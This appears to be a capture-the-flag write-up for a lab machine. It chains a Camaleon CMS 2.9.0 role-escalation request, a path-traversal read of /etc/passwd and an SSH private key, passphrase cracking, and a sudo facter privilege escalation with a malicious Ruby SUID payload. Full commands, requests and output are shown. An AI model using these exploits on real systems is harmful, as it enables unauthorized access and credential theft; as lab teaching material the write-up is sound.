Introduction #
Facts started with a blog-type website featuring a signup/login function accessible via a redirect from /admin endpoint. I was able to create an account and log in with a ‘Customer’ role. Using a CVE in Camaleon CMS, version 2.9.0, I escalated my access to an ‘Administrator’ role. Thanks to Camaleon CMS being an open source service, I went over its code and discovered a new endpoint, /admin/media/download_private_file, which I abused to get user information and an SSH key to establish a foothold on the host. To get root, I used sudo privileges over facer and wrote a malicious Ruby script to set the SUID bit to the system’s bash shell and get a root session.
nmap #
nmap finds two open TCP ports, SSH (22) and HTTP (80):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.68.208
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
| 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp open http syn-ack ttl 63 nginx 1.26.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There is http://facts.htb/, add facts.htb to /etc/hosts.
Web - TCP 80 #
The page is pretty empty, it is a blog-type site, nothing interesting there.



Subdomain enum #
As I have the domain name, I tried to find any available subdomains of facts.htb, but found nothing:
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://facts.htb/ -H 'Host: FUZZ.facts.htb' -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://facts.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.facts.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
:: Progress: [220561/220561] :: Job [1/1] :: 1086 req/sec :: Duration: [0:03:58] :: Errors: 0 ::
Directory bruteforce #
Dir search gives me nice redirect to a login page:
└─$ feroxbuster -u http://facts.htb --dont-extract-links
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://facts.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 121l 443w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 124l 552w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 271l 1166w 19187c http://facts.htb/search
302 GET 0l 0w 0c http://facts.htb/admin => http://facts.htb/admin/login
200 GET 281l 1177w 19593c http://facts.htb/page
500 GET 114l 574w 7918c http://facts.htb/error
200 GET 0l 0w 0c http://facts.htb/ajax
200 GET 8l 11w 183c http://facts.htb/rss
200 GET 114l 371w 4836c http://facts.htb/404
200 GET 129l 132w 3508c http://facts.htb/sitemap
200 GET 18l 95w 8226c http://facts.htb/captcha
200 GET 1l 4w 73c http://facts.htb/up
404 GET 114l 371w 4836c http://facts.htb/~
200 GET 1l 2w 33c http://facts.htb/robots
<SNIP>
A login page under admin:

And I can even create an account and log in:


Dashboard - privesc #
Looking around the dashboard, there is not much to do. I can update my profile - note #ID 5 - maybe there is some IDOR?
When I try to update some information the request is sent to /admin/users/5

ID 5 suggests the accounts are numbered sequentially from 1 to n - the first account is likely to be admin. Hold that!
At the bottom I see Camaleon CMS. version 2.9.0.
Googling for Camaleon CMS. 2.9.0 points me towards a (CVE-2025-2304)[https://nvd.nist.gov/vuln/detail/CVE-2025-2304]
permit! method, which allows all parameters to pass through without any filtering.
(A quick note: I get a spoiler here (doing the box 4 days after release) - The first hit I get is (THIS)[https://github.com/predyy/CVE-2025-2304] repo - it even has http://facts.htb in its code, so … I am on the right path, but also not the way I wanted - for future reference limit the date range of the search to include only results before the release date.)
After I added the time filter to the Google search I still got CVE-2025-2304 in the form of (THIS)[https://github.com/advisories/GHSA-rp28-mvq3-wf8j] advisory.
Conviniently, it links to (THIS)[https://www.tenable.com/security/research/tra-2025-09] explanation:
When a user wishes to change his password, the ‘updated_ajax’ method of the UsersController is called.
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.
An attacker can exploit this vulnerability by submitting a request with an extra parameter that includes the role attribute allowing a user with limited privileges to become an administrator.
So I intercepted the “change password” request and added some parameters:

POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://facts.htb/admin/profile/edit
X-CSRF-Token: JJSiChDrNzFi-Z6rZLoWrHKHhl9mfJHhcJ46asa32Z5WpKen9Tdwp6lDHrewmecGoDLBIMyxHLrejH6_b7A40g
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 228
Origin: http://facts.htb
Connection: keep-alive
Cookie: _factsapp_session=uXQvCo7WAORkm%2F%2FTOAJXCMyLt2%2BUW8lAQ%2FCZtYcGqagDz6nV2TPFNe1XNnf1PquR4jbx35mBO%2FwutepT5A9jogrfixY2MdS48Sr4%2FkdrhkeYvRims4zDfLuKlk50%2BrjPihSGQElE0u7Pvkt24Ey7Z5Sykyfjgd%2FNLJIT1hnscbYQ%2FeRhNOMt1h8AqAQLbQFV8emNTg2HDamstFlOVImFFkNjRmLeH99kOHJgCXDcT5X0bbDvP4vPE3cTLMIhzdH3oavXW4ha%2BjrtvbR0UGZPaS79o6HrDus4ciUqO7HTrzpEDVHhnzo77HeXxvBp1yTjPrLSD8YB9PuFmAptKg%2Bt9p%2FPMFclV8ywgq5w9v8bBr7i%2BTGBTGaFE%2Fk%3D--l1NPd3zNOMopTM8U--6KRvQvFqRuaPRTtvTfdtpg%3D%3D; auth_token=pTMDNe7r00cdn4MWDzwbVQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A128.0%29+Gecko%2F20100101+Firefox%2F128.0&10.10.14.162
Priority: u=0
_method=patch&authenticity_token=JJSiChDrNzFi-Z6rZLoWrHKHhl9mfJHhcJ46asa32Z5WpKen9Tdwp6lDHrewmecGoDLBIMyxHLrejH6_b7A40g&password%5Bpassword%5D=tester&password%5Bpassword_confirmation%5D=tester&role=admin&password%5Brole%5D=admin
The original parameters were in the form of:
- password[password]
- password[password_confirmation]
So I added both
- role
- password[role]
just to be sure.
And I got the admin rights:


Ok, next step.
When playing around I noticed some unusual (unexpected by me) behavior. In the Media section when I clicked on the image URL it automatically downloaded it instead of showing me the image in new tab or something more standard.

Shell as trivia #
Path Traversal #
I tried to intercept the download request but nothing showed up in neither burp nor the network tab. This led me to the source code where I discovered this (FILE)[https://github.com/owen2345/camaleon-cms/blob/2.9.0/spec/requests/admin/media_controller/download_private_file_spec.rb]
# frozen_string_literal: true
require 'rails_helper'
RSpec.describe 'Download private file requests', type: :request do
init_site
let(:current_site) { Cama::Site.first.decorate }
before do
allow_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:cama_authenticate)
allow_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:current_site).and_return(current_site)
end
context 'when the file path is valid and file exists' do
before do
allow_any_instance_of(CamaleonCmsLocalUploader).to receive(:fetch_file).and_return('some_file')
allow_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:send_file)
allow_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:default_render)
end
it 'allows the file to be downloaded' do
expect_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:send_file).with('some_file', disposition: 'inline')
get '/admin/media/download_private_file', params: { file: 'some_file' }
end
end
context 'when file path is invalid' do
it 'returns invalid file path error' do
get '/admin/media/download_private_file', params: { file: './../../../../../etc/passwd' }
expect(response.body).to include('Invalid file path')
end
end
context 'when the file is not found' do
it 'returns file not found error' do
get '/admin/media/download_private_file', params: { file: 'passwd' }
expect(response.body).to include('File not found')
end
end
end
This is an RSpec test suite for a Rails endpoint that handles downloading private files from a media controller (/admin/media/download_private_file).
There are some protections for path traversal but it seems like the test only checks one specific traversal pattern, I should be able to use different techniques (URL encoding, absolute paths, etc.)
Most importantly, this gives me new endpoint: /admin/media/download_private_file I can play with.
To use that I tried a few curl requests:
First, the vulnerability is behind authentication, so I needed to capture a valid session cookie:
└─$ TOKEN=$(curl -s -c cookies.txt http://facts.htb/admin/login | \
grep -oP 'name="authenticity_token" value="\K[^"]+')
└─$ curl -s -b cookies.txt -c cookies.txt -X POST "http://facts.htb/admin/login" \
--data-urlencode "authenticity_token=$TOKEN" \
--data-urlencode "user[username]=0o176" \
--data-urlencode "user[password]=tester" \
-o /dev/null
└─$ cat cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
facts.htb FALSE / FALSE 1770286368 auth_token gjXT9lV4kdtUavtBVHwerA&curl%2F8.14.1&10.10.14.162
#HttpOnly_facts.htb FALSE / FALSE 0 _factsapp_session Xeg957iuTEkfVPMlXYE%2B3W6hKvAHrY2XG%2BieAticgruIDnHEQANwX5EkvF9tYul2KZsXc533WRykf9G1RNrRMHE3tzxT6pavNprK2MfCZw3G9RHxpAjXDmkKwPtfvyI7JCQIZwsKGIkJy0CPqEVPfY1VecT8FnmPfr6%2BriSaabns3YE7%2BJC64zinIRHBDpn2u0LLlQRdbV%2BL5zbCB5VE7ky4n%2BfzvQhi2XFKG1RLdvnF%2FPLR4kbJ3I%2FMdVux4So8dV9lg2GtM7SIT%2BiDIqVlEXIzOKh6wQAZ9bJhzALcjFPrxu0sY2GwYtaG0%2BEEdWN6HDaodisENO3NtU7c9bxZsBLIwP7mQNuJUs9zjZZNR3lwEv2jasmbakXX6ZzwVWc9iEkruC7rAPD2pNqNQl2J8UFq6mn1Xc4PFKQ2N2ED%2BqzW--r5x0qdkMek4eaVSX--zO8iEtdgClKbGJFhPh6gMw%3D%3D
How it works #
- GET Request: The server generates a unique token (
authenticity_token) and a session ID (stored incookies.txt). - POST Request: The server verifies that the token you sent matches the one tied to your session ID.
- LFI Request: Since your session is now marked as “Logged In” on the server side, I am granted access to the
download_private_filefunction.
With the cookies safely stored in the txt file I can try to hit the vulnerable endpoint:
└─$ curl -s -b cookies.txt "http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
This gives me valuable info, not only I did I confirm the vulnerability I also got users on the host I will use for the next step.
SSH access #
With the user - trivia - I can try to look into a /.ssh folder:
└─$ curl -s -b cookies.txt "http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../home/trivia/.ssh/id_ed25519" > id_ed25519_trivia
(First I looked for id_rsa but hat to settle for this)
└─$ cat id_ed25519_trivia
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBXRlDbU0
9MG98mTuddrNgOAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGNyQCT/PAgbHXKA
dkFKe5sEuUlUutJ5S+ZwVyTOHnCVAAAAoGgB4wwp21Mv8Zzc25tBmScjNX9sUOY4hpcgQY
TDBXKiwAcdroxkw0XFz5TsZ3LyglwzHR7IPsIFRx7HoTWAz+LFWDTGwlH7ZgkbxgfRxqkm
9jstrwinzr0cWyHZqc1Hdtfj7+3bgnhtgyELpg8rQHS/NGAylK3005h2PnZH6oyk/ZodAc
T9pJQrYWC2wiTlR5zj9wjvLJG9vx+Aj+0R8DA=
-----END OPENSSH PRIVATE KEY-----
As expected I couldnt just use the key to ssh in:
└─$ chmod 600 id_ed25519_trivia
└─$ ssh -i id_ed25519_trivia trivia@10.129.68.208
Enter passphrase for key 'id_ed25519_trivia':
trivia@10.129.68.208's password:
First, I need to crack it to get the password:
└─$ ssh2john id_ed25519_trivia > trivia_hash
└─$ john trivia_hash --wordlist=~/Tools/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz (id_ed25519_trivia)
1g 0:00:01:36 DONE (2026-02-04 05:20) 0.01035g/s 33.29p/s 33.29c/s 33.29C/s grecia..school1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
It gives me the answer pretty quickly and I can log in:
└─$ ssh -i id_ed25519_trivia trivia@10.129.68.208
Enter passphrase for key 'id_ed25519_trivia':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Feb 4 10:21:49 AM UTC 2026
System load: 0.0
Usage of /: 73.7% of 7.28GB
Memory usage: 19%
Swap usage: 0%
Processes: 219
Users logged in: 1
IPv4 address for eth0: 10.129.68.208
IPv6 address for eth0: dead:beef::250:56ff:fe94:be9d
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
trivia@facts:~$
From there I can grab the user flag. It is stored in william’s folderm but I have access there too.
trivia@facts:/home$ ls
trivia william
trivia@facts:/home$ cd william
trivia@facts:/home/william$ ls
user.txt
trivia@facts:/home/william$ cat user.txt
e239dbbcaa7c89a3a38e2c8043a9b6cf
Root #
Starting with classic sudo -l, I get a hit:
trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Facter has a feature that allows me to load custom plugins, and that is the way in.
By using the --custom-dir argument, I can redirect Facter to a malicious Ruby script. When Facter is run with sudo, it loads and executes the script with UID 0 (root) authority.
Payload #
For the payload itself, it is a simple one-liner:
echo 'Facter.add(:rooting) do setcode { system("chmod +s /bin/bash") } end' > /tmp/root.rb
This definition, when executed by Facter, will set the SUID bit on the /bin/bash and save this Facter definition to a file /tmp/root.rb.
Noew I can run the facer:
sudo /usr/bin/facter --custom-dir=/tmp/ rooting
It ran successfuly and all that remains it to pop the root shell:
trivia@facts:/tmp$ bash -p
bash-5.2# id
uid=1000(trivia) gid=1000(trivia) euid=0(root) egid=0(root) groups=0(root),1000(trivia)
bash-5.2# cat /root/root.txt
ccce6133dfaa5288ab15a51e4189834e
And that is all!